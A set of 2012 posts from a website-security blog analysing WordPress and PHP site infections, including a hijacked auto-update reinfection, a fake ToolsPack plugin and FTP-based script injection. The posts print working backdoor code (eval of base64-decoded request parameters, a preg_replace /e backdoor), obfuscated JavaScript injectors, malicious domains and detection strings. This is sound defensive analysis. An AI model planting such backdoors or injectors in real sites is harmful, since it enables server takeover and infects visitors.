Unmask Parasites. Blog.

Malware Piggybacks on Automatic WordPress Updates

Denis — Wed, 02 May 2012 18:44:23 +0000

Most WordPress bloggers know the “Always keep your WordPress blog up-to-date” mantra. To make upgrades painless, WordPress developers introduced the “Automatic Update” features in version 2.7. A blog admin only needs to visit the “Update WordPress” page (Tools -> Update) and click on the “Update Automatically” button. That’s it! Easy!

Sometimes I see how webmasters misinterpret the importance of upgrades for WordPress security. They expect that if they upgrade a hacked blog, it will immediately become clean and secure. Unfortunately it doesn’t work this way. Upgrades can only clean core WordPress files, leaving backdoors, infected themes, plugins and database records intact. That’s why it is important to clean up your site before the upgrade.

Moreover, a few days ago I came across a new massive infection (more than 1,000 currently known infected blogs) that hijacks the “Automatic Update” feature and makes it the event that triggers blog re-infection.

This attack began just before the WordPress 3.3.2 release, and many blogs now actively use the “Automatic Update” option to upgrade their blogs to this new version. For some of them, the upgrades come with a malicious extra.

Here’s a typical message on Safe Browsing diagnostic of infected site:

Malicious software is hosted on 8 domain(s), including riotorio .com/, vet46.osa .pl/, vetb3.osa .pl/.

5 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including berega .in/, bingotobingo .com/, cheap-royal-canadian-pill .com/.

Infected sites redirect search traffic to

hxxp://berega .in/?site=&q=

&searchEngine=
hxxp://zizigoba .in/?site=&q=&searchEngine=
hxxp://vivizaza .be/?site=8&q=&searchEngine=

and then to sites like

hxxp://riotorio .com/search/?q=

hxxp://lazgosearch .com/search?_t=1&q=
http://gabazasearch .com/?_t=1&q=

Then via several layers of affiliate and pay-per-click redirectors (that include 184.171.169.132/click.php, clicks.thespecialsearch.com, ck.ads.affinity.com, ad.zanox.com/ppc/) you end up on various e-commerce sites or low quality PPC search result aggregators.

Here’s how this attack works:

wp-settings.php

In wp-settings.php file, there is the following injected code:

// For an advanced caching plugin to use. Uses a static drop-in because you would only want one. // Start cache settings eval(base64_decode('...long unreadable string here...')); // Finish cache settings // Start cache settings // Finish cache settings

This code is responsible for malicious redirects. You can find unencrypted code here: http://pastebin.com/mPePkZ8R

If you read PHP, you’ll notice three interesting things in the code:

1. It sets a cookie “_tr” and only redirects if your browser doesn’t have this cookie (first time visitor from a search engine) – that’s why it may be hard to reproduce the redirects.

2. It works in two modes (depending on server capabilities): In mode “2″ it just modifies the “Location” HTTP header to redirect a visitor to a third party site.
In mode “1″, it makes a request to a remove server and then returns the response of that remove server. This remote server can save your IP address and you won’t be able to reproduce redirects even if you remove all cookies.

3. At the top of the code you can see this strange block:

if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) { $c = $_POST['cadv']; $c = str_replace("\\\\", "\\", $c); $g = $_POST['gadv']; $g = str_replace("\\\"", "\"", $g); $r = preg_replace("$c", $g, 'sss 4'); die(); }

It adds a backdoor functionality to this malicious code. Using specially crafted cadv and gadv paramers of POST requests and the PHP PREG_REPLACE_EVAL modifier in the preg_replace function, it is possible to execute arbitrary PHP code on compromised servers.

Update.php

Another changed file is wp-admin/includes/update.php where hackers modified the “wp_update_core” function:

// Start cache settings $ee = $upgrader->upgrade($current); define('WPA_SILENCE', '1'); eval(base64_decode("...long unreadable string here...")); return $ee; // Finish cache settings

instead of the original

return $upgrader->upgrade($current);

line.

The decoded version can be found on Pastebin: http://pastebin.com/v7SvS4yW

What this encrypted piece of code does is inject the malicious code into wp-settings.php file preserving its modification date.

Hijacked Automatic Updates

But why is it in wp-admin/includes/update.php? Is it just a random file that hackers use for this reinfection code? Of course not. This file and specifically the “wp_update_core” function is used by the WordPress Automatic Update feature.

Behind the scenes, the “wp_update_core” function checks for available updates, downloads new files, replaces old files and does all the rest stuff required to successfully complete WordPress upgrades. Your blog is supposed to be fully updated just before this function returns. At that moment all infected core WordPress files (such as wp-settings.php) should be replaced with new clean copies. And this is exactly the moment when the malicious code in the “wp_update_core” function begins to work. It reinfects the just-updated and new wp-settings.php file.

So if you thought that WordPress upgrade could only make you blog more clean – you were wrong. If your blog was infected before the upgrade and hasn’t been completely cleaned up, the upgrade itself may even reinfect files that were clean before the upgrade.

Summary

1. WordPress upgrades are not a silver bullet. They can only improve your blog security if it was 100% clean before the upgrade. Otherwise you still have to invest your time in resolving all current security issues.

2. WordPress developers should consider adding some integrity control into their system (e.g. checksum control for core WP files) and warn webmasters (blog administrators) if core files change.

3. This particular attack hijacks only automatic WP upgrades. Manual upgrades and upgrades via SVN are still completely safe. By the way, not only are SVN updates safe but they are also nearly as simple as automatic updates (one simple command) and provide built-in integrity control, so you can easily identify all changed and potentially infected code WordPress files and have them reverted to their original state.

Update (May 4, 2012): I can see that some bloggers misinterpret my article and conclude that the Automatic Update feature of WordPress is not safe. That’s not correct. The Automatic Update feature itself is completely safe if your WordPress blog is not compromised. But when your blog is already hacked, hackers can hijack any feature and add malicious functionality to it. In this particular case, they decided to modify the auto-update feature to restore malicious code in wp-settings.php.

Request for information

If your blog is affected by this particular attack and you have raw access logs for at least one week, please contact me. Your logs can help me learn more about this attack: what was the original security hole, how hackers use the backdoor, etc.

Your comments are welcome too.

Related posts:

You Need to Pay For This Crypt. Trial Version of Malware?

Denis — Wed, 07 Mar 2012 13:25:03 +0000

According to the Betteridge’s Law of Headlines “Any headline which ends in a question mark can be answered by the word ‘no’“. Nonetheless, I use this type of a headline for this post because this was the question I asked myself when I came across the following attack.

A few days ago I began to notice many websites where Google reported “assexyas .com” as a source of the infection (at this point Google reports 6148 infected sites). They all contained quite a prevalent type of a malicious script (such scripts have been in use for few a few months)

if(window.document)try{location(1 2);} catch(qqq){zz='eva l'; ss=[]; aa=[]+0;aaa=0+[]; if(aa.indexOf(aaa)===0){f='fro'+'m'+'C'+'h'+'ar';f+='Code';} ee='e...skipped...5a3.5a3.5a61.5".split("a");for(i=0;-n.length<-i;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));} if(1)q =ss; if(zz)e (q);

that injected an invisible iframe

What was really unusual was the the following text right after the closing tag: “you need to pay for this crypt“. On some sites it was just that. On other sites it could be several consecutive duplicates of the phrase: “you need to pay for this cryptyou need to pay for this cryptyou need to pay for this cryptyou need to pay for this crypt”

How can you explain this message?

My guess is hackers used a trial version of a JavaScript encryption software to generate their obfuscated malicious scripts. When the trial period came to an end, the encryption software began to add the “you need to pay for this crypt” message after the generated scripts. Since the attackers use automated tools to generate scripts and infect websites, they simply didn’t notice that the injected piece of code contained a little extra that was actually visible on web pages (since it was outside of the block with a known content and replaces it with a new version of the malicious code. So the previous “you need to pay for this crypt” message remains intact and the new copy of the injected code contains the same nag message, which results in: “…you need to pay for this cryptyou need to pay for this crypt“. And with every update this message becomes longer and longer.

A little variation of this hypothesis is it was a trial version of a whole exploitation kit rather than just of a JavaScript encryption module.

Is this plausible? Any other explanations? Let me know what you think about it.

Prevalence

Google reports 6148 infected sites. In my experience the real number of infected sites should be bigger.

At the same time, the “you need to pay for this crypt” provides us with an alternative way to estimate the prevalence of the infection. The ["you need to pay for this crypt"] Google search returns 74,800 results (not all of them are infected pages though) and the more specific ["you need to pay for this cryptyou need to pay"] search returns 34,700 results.

Nag message is gone

At this moment the injected malicious script no longer contain the nag message. Moreover, this message has disappeared from the compromised sites. So it looks the attackers:

noticed the problem
got rid of the nag message (either paid for the software or hacked it)
updated their injection scripts to remove remnants of the nag messages when they updated the malicious code.

Mostly WordPress

I checked many infected sites and most of them were WordPress blogs. And when the sites were not WordPress blogs, I suspect that they shared the same hosting account with WordPress sites — it’s enough to have one compromised site to infect all other sites under the same account.

The malicious code is injected at the very top of the index.php files in site root directories and sometimes in the first level of subdirectories (e.g. wp-content and wp-admin). This affects all sites under the same account.

ToolsPack

On WordPress blogs the typical name of the doorway file is ToolsPack.php. It pretends to be a WordPress plugin and can be usually located in the wp-content/plugins/ToolsPack/ directory. Here’s the content of the file:

/* Plugin Name: ToolsPack Description: Supercharge your WordPress site with powerful features previously only available to WordPress.com users. core release. Keep the plugin updated! Version: 1.2 Author: Mark Stain Author URI: http://checkWPTools.com/ */ $_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit; ?>

In the latest versions I usually see a more simple code:

$_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit; ?>

As you can see, this “plugin” copies description of a legitimate and popular JetPack plugin, but provides only one line of code, which seems to be too little to supercharge WP with powerful features. Actually, this single line of code is indeed very powerfull as it allows the attackers to execute whatever PHP code they pass in the “e” parameter of requests to this file — typical backdoor.

Here are some real world log entries that show how this backdoor is used to reinfect sites:

83.69.224.227 - - [06/Mar/2012:03:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)" 83.69.224.227 - - [06/Mar/2012:06:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)" 83.69.224.227 - - [06/Mar/2012:08:21:50 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)" 83.69.224.227 - - [06/Mar/2012:09:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)" 83.69.224.227 - - [06/Mar/2012:10:18:45 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"

BTW, checkWPTools .com is not even registered at the moment.

On some sites, I found the whole ToolsPack “plugin” archive in /wp-content/uploads/ToolsPack.zip. I also found the same backdoor in a file named wpupload.php.

To Webmasters

It’s not yet clear how the backdoor was uploaded to those sites in the first place, but log analysis reveals many ongoing attempts to exploit vulnerabilities in TimThumb.php and 1-flash-gallery. So make sure to upgrade all themes and plugins that use the TimThumb library (or update the timthumb.php/thumb.php files yourself – you can find the latest version here)

I also highly recommend to scan your local computers for malware (after all, most likely you opened infected web pages) and change passwords.

Also make sure your browser is up-to-date:

##
Your comments and any additional information are welcome!

Related posts:

Weak Passwords and Tainted WordPress Widgets

Denis — Thu, 01 Mar 2012 15:47:26 +0000

A few days ago I investigated a hack where the following script was injected into web pages:

The script was at the very top of the HTML code and in the middle of the page. It was a WordPress site so I suggested to check the index.php and theme files for the malicious code.

The topmost script was indeed in the theme’s index.php file. But theme files didn’t contain the script that I found in the middle of web pages’ HTML code.

Sidebar Widgets

When I compared the code of the theme and the HTML of web pages, it became clear that the script was a part of a sidebar widget (stored in a database). I asked the webmaster to check code of theme widgets in WordPress admin interface (Appearance -> Widgets) — the malicious script was found at the bottom of one widget.

This sort of WordPress widget injection is quite uncommon, so I needed to figure out how the attackers managed to inject the malicious code into WordPress database.

Initially, I had two hypotheses:

The attackers logged into WordPress admin interface and modified the widget code (but where did they get the credentials?)
They used a backdoor script (web shell) to get the database password (from wp-config.php) and then used SQL commands to inject the code directly to a database (standard feature of many web shells)

I asked the webmaster to change passwords of all WordPress users to prevent attacks via the first scenario and requested to provide site’s access logs so that I could try to find suspicious requests [to backdoors].

Log Analysis

The logs analysis revealed a few interesting things:

1. I found a few unsuccessful attempts to exploit known vulnerabilities in WordPress plugins (e.g. timthumb.php/cropper.php, 1-flash-gallery) but there were no successful requests to anything that looked like a backdoor. — So, it looks like the backdoor scenario was incorrect.

2. Multiple POST requests to /wp-login.php from various IPs from all around the world. Many of them were consecutive. Some IPs requested this URL hundreds of times in a short period. — This looks like a distributed brute-force attack — someone tried to guess WordPress login/password.

3. And finally, I found a session that seems to be the answer:

Someone from Brazil (IP 201.0.108.40), logged into WordPress (on the first attempt)

201.0.108.40 - - [16/Feb/2012:14:51:11 -0700] "GET .com/wp-login.php HTTP/1.1" 200 2256 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" ... 201.0.108.40 - - [16/Feb/2012:14:51:16 -0700] "POST .com/wp-login.php HTTP/1.1" 302 - "http://.com/wp-login.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" ... 201.0.108.40 - - [16/Feb/2012:14:51:16 -0700] "GET .com/wp-admin/index.php HTTP/1.1" 200 44602 "http://.com/wp-login.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"

then used a theme editor to modify the index.php file in the current theme

201.0.108.40 - - [16/Feb/2012:14:51:37 -0700] "GET .com/wp-admin/theme-editor.php?file=/themes/current-theme/index.php&theme=Current+Theme&dir=theme HTTP/1.1" 200 34802 "http://.com/wp-admin/theme-editor.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 201.0.108.40 - - [16/Feb/2012:14:51:48 -0700] "POST .com/wp-admin/theme-editor.php HTTP/1.1" 302 - "http://.com/wp-admin/theme-editor.php?file=/themes/current-theme/index.php&theme=Current+Theme&dir=theme" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 201.0.108.40 - - [16/Feb/2012:14:51:49 -0700] "GET .com/wp-admin/theme-editor.php?file=/home//html/wp-content/themes//index.php&theme=Current+Theme&a=te&scrollto=0 HTTP/1.1" 200 35009 "http://.com/wp-admin/theme-editor.php?file=/themes/current-theme/index.php&theme=Current+Theme&dir=theme" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"

and then modified some widget in that theme

201.0.108.40 - - [16/Feb/2012:14:52:16 -0700] "GET .com/wp-admin/widgets.php HTTP/1.1" 200 88903 "http://.com/wp-admin/theme-editor.php?file=/home//html/wp-content/themes/current-theme/index.php&theme=News+Magazine+Theme+640&a=te&scrollto=0" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" ... 201.0.108.40 - - [16/Feb/2012:14:52:33 -0700] "POST .com/wp-admin/admin-ajax.php HTTP/1.1" 200 1692 "http://.com/wp-admin/widgets.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"

It all took less than two minutes. So that visitor definitely knew the WordPress admin password (only administrators can edit themes) and was only interested in modifying the index.php and some widget — the places where the malicious code was found later. And these were the only two minutes that the IP 201.0.108.40 worked with the site (at least during the two weeks that I had access logs for).

By the way, the webmaster told me that a few WordPress users, including the user with an administrative role, used “123456” as their passwords — no wonder the attackers managed to figure out the passwords.

That’s probably the first time I come across a massive attack that tries to guess WordPress admin credentials and then use them to modify current themes.

Most probable scenario

Hackers use brute force attacks to guess logins/passwords of WordPress blogs (I saw signs of similar attacks in access logs of some other sites too).

Once they find a working combination, they log into the compromised blogs and use a theme editor to inject a malicious code into theme files (usually index.php) and then use a widget editor to inject the same malicious code into “text” widgets (that allow raw HTML code).

Other sites involved in the attack

Then I checked a few other affected sites (the “copytech .lu” scripts) and they all were WordPress blogs with scripts injected at the very top of the HTML code and in the widget sections (if blogs used widgets). Moreover, I found a few other malicious scripts injected by this attack. e.g.

Here are some typical messages that you can find on Safe Browsing diagnostic pages of the affected sites:

Malicious software is hosted on 3 domain(s), including halo8.com/, fafonseca.com.br/, copytech.lu/.

2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including copytech.lu/, clasingsky.com/.

and

Malicious software is hosted on 1 domain(s), including infcom.it/.

2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including halldor.is/, gesotim.org/.

The malicious scripts are usually intermediaries that simply load other malicious scripts from different sites. For example:

hxxp://gesotim .org/_inf/index.php?action=iframe
hxxp://www.clasingsky .com/img/_inf/index.php?action=iframe

It’s easy to notice that all those malicious scripts are loaded from compromised legitimate websites. Hackers use this trick more and more. They place their malicious files in subdirectories of hacked web sites. So it’s always a good idea to regularly scan your servers for unwanted files.

Webmasters

The only principle of website security that knows literally every webmaster and site owner is to use passwords that other people don’t know and can’t easily guess. However, this attack shows that many bloggers still don’t bother using strong passwords.

I’d like to use this chance to remind some password management best practices:

Use strong passwords (not “123456″, not “qwerty”, not some common word or names) — attackers use automated tools to try hundreds (if not thousands) new combinations every day. Here are a couple of approaches to choosing strong passwords:
- YouTube: How to choose a strong password – simple tips for better security by Graham Cluley
- xkcd:Password Strength
Regularly change passwords
Don’t use the same passwords for different services and on different sites.
Use password managers like KeePass or LastPass so that you don’t have to memorize every password (you still need to remember a master password and it should be strong).
Don’t use easy to guess user names. It’s another layer of your security, so “admin” and “administrator” are the worst possible user names for site administrators.
For WordPress users: Your WordPress administrator’s user name should NOT be admin – it’s too easy to guess. If you still have the “admin” user, create a new administrator user with a different login and then remove the “admin” user.

That’s the bare minimum that every webmaster should know about passwords.

##
Your comments are welcome!

Similar posts:

How to choose a strong password – simple tips for better security

Lorem Ipsum and Twitter Trends in Malware. Update.

Denis — Sat, 18 Feb 2012 09:23:39 +0000

A few weeks ago I published an article about an attack that hosted malware on a fast flux network of infected PCs and used a clever algorithm based on Twitter trends to generate four new hard-to-predict domain names every day.

Shortly after that I was contacted by foks, who shared some interesting information. He conducted his own investigation and found out how hackers injected those scripts into legitimate web pages. He also found a new (buggy) version of the malicious script.

Attack via FTP

Foks confirms that the attackers used FTP to downloads .html and .php files that contained ‘index‘, ‘main‘ or ‘default‘ in their file names. Then they injected the malicious script and uploaded modified files back to server.

Auto-appended google_verify.php

But that’s not all. On some sites they uploaded a new “google_verify.php” file into root directories (and sometimes into subdirectories). The only content of that google_verify.php file is the same malicious JavaScript.

Then they created/modified .htaccess files in directories with google_verify.php and added the following directives:

php_value auto_append_file "google_verify.php"

What these directives do is automatically append the content of the google_verify.php to every php web page. This means that your legitimate .php files will remain unmodified but you still will be seeing the malicious script when you check the HTML code of generated web pages.

As I wrote in my previous article, I’ve been watching as this attack evolves and mutates for more than two years now. I don’t usually have access to compromised sites so I didn’t notice this auto-append trick before. Now a short google search session revealed that this trick was in use at least since summer of 2011. 1, 2, 3.

It should be mentioned that every FTP attack came from different IP addresses. Most likely the attackers use their botnet to infect new websites. This corresponds to their approach to hide their central infrastructure behind the fast flux network of infected computers.

New buggy script

Foks also brought my attention to an alternative version of the malicious script. With minimal modifications, it looks almost the same as the original script: the same “lorem ipsum” comments, the same code structure and variable names. But this new script didn’t fetch Twitter trends and didn’t try to load any malware.

So I looked at the script and tried to decode it. Apparently, the decoded version was a verbatim copy of the original decoded script with one small exception — one incorrect character which broke the whole script.

original: window.gloa=(function()... new: wÍndow.gloa=(function()...

The source of this error seems quite interesting. Let’s take a look at the encoded scripts. They both have long arrays of numbers that will be later converted to JavaScript code. Both arrays are identical except for the first four items:

original: [89,75,80,70,81,89,16,73,78,81,67,... new: ["L",189-20*cid,175,16*cid,70,81,89,16,73,78,81,67,...

Note, if cid==5, then the first three numeric items of the second array will be: 89, 175, 80, which matches the first three item of the first array. The only difference is the 75/175 pair. If you replace 175 with 75 in the second script, you will get a perfectly working code.

Apperently, the attackers manually modified the original script (probably to prevent detection by anti-malware scanners) and forgot to add something like -20*cid to that 175. What even more lame, they failed to test the new script.

According to foks, the attackers switched to this buggy script around January 23rd and 3 weeks later they still use it. How come they don’t see it doesn’t work? I even began to worry whether that really was a bug, or this could be some little known feature of some browser’s JS engine that they tried to exploit. If you know the answer to this question, please let me know here or on the Stack Overflow.

Meanwhile, (as of February 18th, 2012) the domain name generating algorithm described in my previous article still in use and my online demo still correctly predicts new malicious domains. Of course, because of the bug in the new version of the script, only websites infected in the beginning of January still actually load malware from domains generated by this algorithm. And this fact is reflected in Google Safe Browsing diagnostic pages that show quite few infected websites now.

To Webmasters

Clean up

Scan your server for .html and .php files (usually ‘index‘, ‘default‘, ‘main‘) that contain the malicious code. Examples of the malicious code:
Remove the the malicious code from your files.
Scan server for google_verify.php files that contain the above malicious code. Delete them.
In the directories with google_verify.php, check .htaccess files. If you find php_value auto_append_file “google_verify.php” instructions there — remove them.
There might also be uploaded backdoor files and web shells. Scan your server for suspicious files that contain the following strings (the list is not complete):
- FilesMan
- eval(base64_decode
- eval(gzinflate(base64_decode

Prevent reinfections

The most common way to steal FTP passwords is via malware on computers of webmasters.

Scan all computers that have access to your websites for malware. Your anti-virus software should be up-to-date. Consider deep scans or even “scan on reboot” if your anti-virus provides such options.
Change all site passwords. Don’t save new passwords in FTP programs. Configure them so that they ask for a password every time you connect to your sites. If you work with multiple sites and don’t like the idea of memorizing many passwords, consider using password managers like KeePass — they save your passwords much more securely.
Consider using SFTP instead of FTP that transfers your passwords in plain text. Most popular FTP programs support SFTP, so the switch should be painless.
Now you know that even benign sites as yours can be dangerous to visit. Don’t give malware a chance to infect your computer. Make sure your OS, web browser and browser plugins are up-to-date. You can scan your browser and browser plugins here:
1. Mozilla Plugin Check & Updates
2. Qualys BrowserCheck
3. (new versions of Chrome check plugins by default)

Similar posts:

Script Injection (*.ddns.name) and Backdoors

Denis — Sun, 12 Feb 2012 11:31:55 +0000

Just a quick review of hacker attack that I came across this week.

The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical scripts looks like this:

var $E=(Date);if($E){$f=['2*%0)%5}%1','%3{%b(%9_%8...skipped...(1))[$s.$Aj]($l[$0][$s.$1k](0,1));}}return this;},$3=$l(),$f='';$pi('l\x65\x6E\x67th');if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('s cript').length > 0){document.wr ite('');}}

The scripts create invisible iframes that load malicious content from subdomains of ddns.name (ddns.name is a free dynamic DNS service). E.g.

hxxp://bacmdmrnxdf .ddns .name/index.php?showtopic=892380
hxxp://hjuusnhqspt .ddns .name/index.php?showtopic=892380
hxxp://kmkyqilckhi .ddns .name/index.php?showtopic=892380
hxxp://npputdzykop .ddns .name/index.php?showtopic=892380
hxxp://jnobuznhccv .ddns .name/index.php?showtopic=892380
…

Last time I checked, the malicious subdomains pointed to 37.59.74.146.

When Google detects such malware on websites, you will see the following (or similar) messages on Safe Browsing diagnostic pages:

Malicious software is hosted on 7 domain(s), including hyyjkhfgmxk .ddns .name/, google-‐analytics .com/, kmkyqilckhi.ddns.name/.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including google‐‐analytics .com/

Access log analysis

I had a chance to analyze access logs of one of the infected sites. Here’s what I found there:

During 24 hours, IP addresss 81.17.24.72 made 842 successful (response code 200) POST requests to backdoor files in 142 different locations on that server.

Some malicious requests:

81.17.24.72 - - [08/Feb/2012:16:11:37 -0500] "POST /e9a3.php HTTP/1.1" 200 41869 "-" "-" 81.17.24.72 - - [08/Feb/2012:17:45:12 -0500] "POST /e9a3.php HTTP/1.1" 200 460 "-" "-" 81.17.24.72 - - [09/Feb/2012:09:56:36 -0500] "POST /tmp/9ef4.php HTTP/1.1" 200 22467 "-" "-" 81.17.24.72 - - [09/Feb/2012:10:04:21 -0500] "POST /...skipped.../images/9ef4.php HTTP/1.1" 200 22491 "-" "-" 81.17.24.72 - - [09/Feb/2012:10:09:02 -0500] "POST /...skipped.../includes/admin/9ef4.php HTTP/1.1" 200 22499 "-" "-" 81.17.24.72 - - [09/Feb/2012:10:07:29 -0500] "POST /...skipped.../modules/9ef4.php HTTP/1.1" 200 22492 "-" "-" 81.17.24.72 - - [09/Feb/2012:12:30:13 -0500] "POST /public_html/...skipped.../wp-content/9ef4.php HTTP/1.1" 200 22484 "-" "-" 81.17.24.72 - - [09/Feb/2012:12:35:29 -0500] "POST //public_html/...skipped.../wp-includes/9ef4.php HTTP/1.1" 200 22507 "-" "-" 81.17.24.72 - - [09/Feb/2012:12:37:59 -0500] "POST /public_html/...skipped.../cgi-bin/9ef4.php HTTP/1.1" 200 22488 "-" "-" 81.17.24.72 - - [09/Feb/2012:13:01:09 -0500] "POST /public_html/...skipped.../wp-admin/9ef4.php HTTP/1.1" 200 22503 "-" "-"

Resolving the issue

As you can see, it not enough to remove malicious scripts from legitimate files. To prevent reinfections, you should also find and delete all backdoor files.

In this particular case, you might also want to block the IP 81.17.24.72. Most Control Panels provide an options to block requests from specific IPs. Alternatively, if you use Apache, you might want to add the following lines into the topmost .htaccess file

order allow,deny deny from 81.17.24.72 allow from all

Find security hole

Actually, to stop this attack completely, you should figure out how the attacker managed to upload the backdoor files to your server in the first place. Unfortunately, I didn’t have access to historical logs of the compromised sites and couldn’t trace the beginning of the attack. If your site is affected by this hack and you have access logs for the last 2-4 weeks, I would love to hear from you.

At this point, I can suggest that you update all software on you server (including themes, plugins and component) and change all passwords. And don’t forget to regularly scan you server for suspicious content.

Update (Feb 16, 2012): I’ve managed to get FTP logs of the compromised site and now I’m confident that this attack uses stolen FTP credentials.

Here are some most representative lines from the logs:

... Sun Feb 12 10:04:54 2012 0 81.17.24.72 2280 /home/username/db21.php b _ i r username ftp 1 * c Sun Feb 12 10:27:58 2012 0 81.17.24.72 2280 /home/username/.autorespond/ca82.php b _ i r intern64 ftp 1 * c Sun Feb 12 11:01:23 2012 0 81.17.24.72 2280 /home/username/.cpaddons/f041.php b _ i r username ftp 1 * c Sun Feb 12 11:29:42 2012 0 81.17.24.72 2280 /home/username/.cpanel/a473.php b _ i r username ftp 1 * c Sun Feb 12 11:54:51 2012 0 81.17.24.72 2280 /home/username/.htpasswds/3009.php b _ i r username ftp 1 * c Sun Feb 12 12:41:48 2012 0 81.17.24.72 2280 /home/username/.trash/0fc4.php b _ i r username ftp 1 * c Sun Feb 12 13:22:50 2012 0 81.17.24.72 2280 /home/username/cgi-bin/9e35.php b _ i r username ftp 1 * c Sun Feb 12 13:58:39 2012 0 81.17.24.72 2280 /home/username/c7b0.php b _ i r username ftp 1 * c ...

In the logs, we see the notorious IP address 81.17.24.72 that uploads backdoor files to various directories on server. Later, the same 81.17.24.72 IP uses HTTP POST requests to the uploaded backdoors to infect legitimate files. It currently infects files that have the following strings in their filenames: index, default.

Once your FTP credentials are stolen, they can be sold to multiple hacker groups. That’s why it’s quite typical that a few gangs try to exploit the same site at the same time. In this case, I found traces of a couple of different attacks that also used the FTP vector.

For example, IPs “91.121.137.14“, “91.121.91.142” and “74.208.132.83” routinely uploaded files “extra.php” and “frame_cleaner.php” and then subsequently requested them via HTTP GET requests.

198.66.254.199 appended some code to wp-blog-header.php

216.183.83.126 injected cloaked spammy links into “header.php” of all WordPress themes and modified .htaccess files.

As you can see, many attacks use both stolen FTP credentials (to initially break into legitimate websites) and backdoor files (to control and reinfect websites even when webmasters change passwords). In this post, I showed how useful FTP and web server access logs can be to find security holes and malicious files.

Webmasters: do you have logs for your sites? If not, go and enable logging right now!

##
Your comments and any additional informations are welcome.

Similar posts:

Ciscotred .cz .cc – Joomla Hack

Dynamic DNS and Botnet of Zombie Web Servers

Massive Script Injection (k985ytv)

Introduction to Website Parasites

Lorem Ipsum and Twitter Trends in Malware

Denis — Thu, 26 Jan 2012 10:45:15 +0000

A couple of years ago I wrote about malware attacks that used Twitter API to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.

Each domain was in use for a few hours only

The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.

Since 2009, I’ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.

Malicious scripts

First of all, here’s the malicious script that was used in December (full version)

(function($$){qq2=[8,0,26,0,11,81,29,0,26,...skipped...87,73,78];qq21=[68,79,87,27,0,9,...skipped...39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,...skipped...76,73];qq31=[84,8,7,7,0,19,...skipped...0,16,27,54];d='';mapper=[3,32,54,56,64,...skipped...24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i
It was a long obfuscated one-line script with long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages. On PHP sites, this script was injected in a form of an obfuscated PHP code (full version): ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD4oZnVuY3Rpb24oJ...skipped...Sk7PC9zY3JpcHQ+');} Quite a typical base64_decode obfuscation trick, although disguised by the security_update function name to make this code look more legitimate. January 2012 code mutation However in January, the code changed (it is still detectable by Unmask Parasites). Besides some algorithmic changes, the malicious script now consists of 78 lines of code generously sprinkled with comments in Latin!!! Here you can see the full version. (function($$,_2,_1) { function qq2(){return [89,75,80,70,81,89,16,73,78,81,...skipped...11,93,2,29,13,10,13,96,71,2,18,29,56];} function co() { return 'Code';} ...skipped... mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2...skipped...27,2,28,2,29]; map = ''; function fs(ro, arr, add, st, en,dp) { //Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem ...skipped... //lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis ...skipped... //modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi ...skipped... //et condimentum metus. Aliquam 